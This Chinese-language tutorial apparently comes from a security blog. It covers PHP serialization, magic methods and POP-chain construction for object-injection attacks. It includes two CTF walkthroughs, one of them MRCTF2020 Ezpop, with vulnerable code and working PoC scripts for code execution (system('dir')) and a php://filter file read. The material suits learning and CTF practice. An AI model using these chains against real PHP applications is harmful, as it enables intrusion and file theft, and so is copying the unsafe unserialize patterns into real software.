php序列化和反序列化

php访问修饰符:

可访问性 public protected private
类自身
类外部 × ×
子类 ×

注释:在PHP类中不写访问修饰符默认的访问权限为public

什么是序列化?

序列化是指将数据结构或对象转换为一串字节流的过程。使其可以在存储、传输或缓存时进行持久化。

什么是反序列化?

反序列化是指将序列化后的数据进行解码还原,恢复为原始的数据结构或对象的过程。反序列化是序列化的逆过程。

在 PHP 中,使用 serialize() 函数可以将数据结构或对象进行序列化,得到一个表示序列化后数据的字符串。通过 unserialize() 函数可以将这个字符串进行反序列化,将其还原为原始的数据。

php对象的序列化:

O:长度:“类名”:变量数:{变量类型:变量名长度:“变量名字”;变量的值;}

image-20240331182553151

例如:

1
O:6:"people":2:{s:4:"name";s:4:"lili";s:3:"age";i:18;}

注意:对象的方法不会显示在序列化中

image-20240331182851730

PHP数组反序列化

image-20240331182949600

PHP关联数组的序列化和反序列化

image-20240331183152039

var_dump和print_r的区别:

var_dump输出的更为详细,有属性数量,类型等等,而print_r更为简单

PHP魔术方法

定义:PHP的魔术方法(Magic Methods)是一组特殊的方法,以双下划线(__)开头和结束命名的。它们在对象的生命周期中被自动调用,用于执行特定的操作。这些魔术方法可以让开发者更好地控制和定制对象的行为。

16个常用的函数方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
__construct(), 类的构造函数,创建对象时进行初始化操作
__destruct(), 类的析构函数,在对象被销毁(即失去对对象的所有引用)之前执行一些清理操作
__call(), 在对象中调用一个不可访问或不存在方法时调用
__callStatic(), 调用一个不可访问或不存在的静态方法时调用
__get(), 访问一个对象的不可访问或不存在属性时调用
__set(), 对不可访问属性进行赋值时调用
__isset(), 当对不可访问或不存在属性调用isset()或empty()时调用
__unset(), 当对不可访问或不存在属性调用unset()时被调用。
__sleep(), 执行serialize()之前,先会调用这个函数
__wakeup(), 执行unserialize()之后调用这个函数
__toString(), 类被当成字符串时的回应方法
__invoke(), 用于将一个对象作为函数直接调用时的行为定义。
__set_state(),设置对var_export() 函数所产生的字符串的进行反序列化操作时行为。
__clone(), 当clone 关键字复制一个对象时调用
__autoload(), 尝试加载未定义的类
__debugInfo(), 打印所需调试信息
函数 __construct() __destruct() __call() __callStatic() __get() __set() __isset() __unset()
调用时机 创建对象时 被销毁时 调用无法调用的方法 调用无法调用的静态方法 访问无法查看的属性 设置无法设置的属性 检查无法检查的属性 unset() 函数尝试删除不可删除属性时自动触发
传递参数 自定义 不可设置 方法名,参数数组 方法名,数组 属性名 属性名,属性值 属性名 被销毁属性名称
返回值 无要求 自定义 自定义 自定义 布尔值

pop链构造与技巧

pop链介绍

pop链就是利用了PHP中对象的自动调用魔术方法特性,将多个类和方法串联起来,形成一个链式调用。当PHP反序列化时,会自动调用这些方法,触发代码执行。

pop链构造技巧

1.简单浏览:找出可能的漏洞点。多去注意一写容易触发漏洞的函数:eval、include等

2.根据漏洞点反推:看逻辑是否可行(参数是否可写入、魔术方法是否能触发、条件是否可达成等)

一般先找注入点,判断注入需要的参数,然后找到包含执行注入的函数(一般就是魔术方法),再找执行此函数的条件a,判断条件a是否可以满足,然后再找执行条件a需要满足的条件b,依次找下去直到不需要再找需要满足的条件即可。

3.最后构造poc验证。构造的时候根据上一步找到条件最好从后往前构造,并且要找正确触发魔术方法的究竟是谁($this指的是谁

例题:

简单的pop例题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php 
header('Content-Type: text/html; charset=GBK');
class test{
private $index;

function __construct()
{
$this->index=new index();
}
function __destruct()
{
$this->index->hello();
}
}
class index{
public function hello(){
echo 'hello ~~';
}
}
class execute{
public $test;
function hello(){
eval($this->test);
}
}
if(isset($_GET['test'])){
@unserialize($_GET['test']);
highlight_file(__FILE__);
}
else{
$a=new test;
}
?>

首先找到敏感函数–>eval(),这里并没有对test参数做过滤处理,直接可以通过test的值来获取flag,确定好了漏洞点

接着要执行eval就需要调用hello()函数,这里只有test类中的魔法函数__destruct()调用了hello()函数,反序列化是调用destruct()函数的条件,我们可以发现如果不对test类中的index参数做任何处理,调用destruct函数后并不会调用execute类里的hello()函数,而是直接调用index类中的hello函数,也就是对execute()类的调用进行了过滤,这里我们需要不让index()被调用,所以可以直接将test类中的index参数指向excute类,从而可以覆盖index()类的调用,进而调用execute()类,从而实现了漏洞点的利用

在这里没考虑construct()魔法函数的原因是,反序列化并不会调用construct()函数

根据思路反推pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
header('Content-Type: text/html; charset=GBK');
class test{
private $index;

function __construct()
{
$this->index=new execute();
}

}

class execute{
public $test="system('dir')";
}

$a=new test;

echo urlencode(serialize($a));

?>

[MRCTF2020]Ezpop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}

public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}

首先,找到漏洞点:Modifier类的include()函数,这里可以利用文件包含

然后,一步一步推导:当进行反序列化时首先触发的是wakeup魔法函数

wakeup函数中使用了正则表达式,把source属性看成字符串,对其进行过滤,然而我们恰恰可以利用这点,将source赋值为一个对象,进而触发了to_string函数,由于show类中有to_string魔法函数,该函数返回str对象里面的source属性,在这我们可以将str指向没有source属性的对象,从而触发get魔法函数,在test类中恰好有get魔法函数,该get函数中将属性p作为function()函数的返回值,接着进一步利用,将p赋值为对象,可以触发invoke函数,在Modifier类中有invoke魔法函数,且该魔法函数将var属性的值赋值给apend函数,进而对var值进行文件包含

接下来直接构造pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";//文件包含

}

class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
class Test{
public $p;
}


$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();


echo urlencode(serialize($a));

?>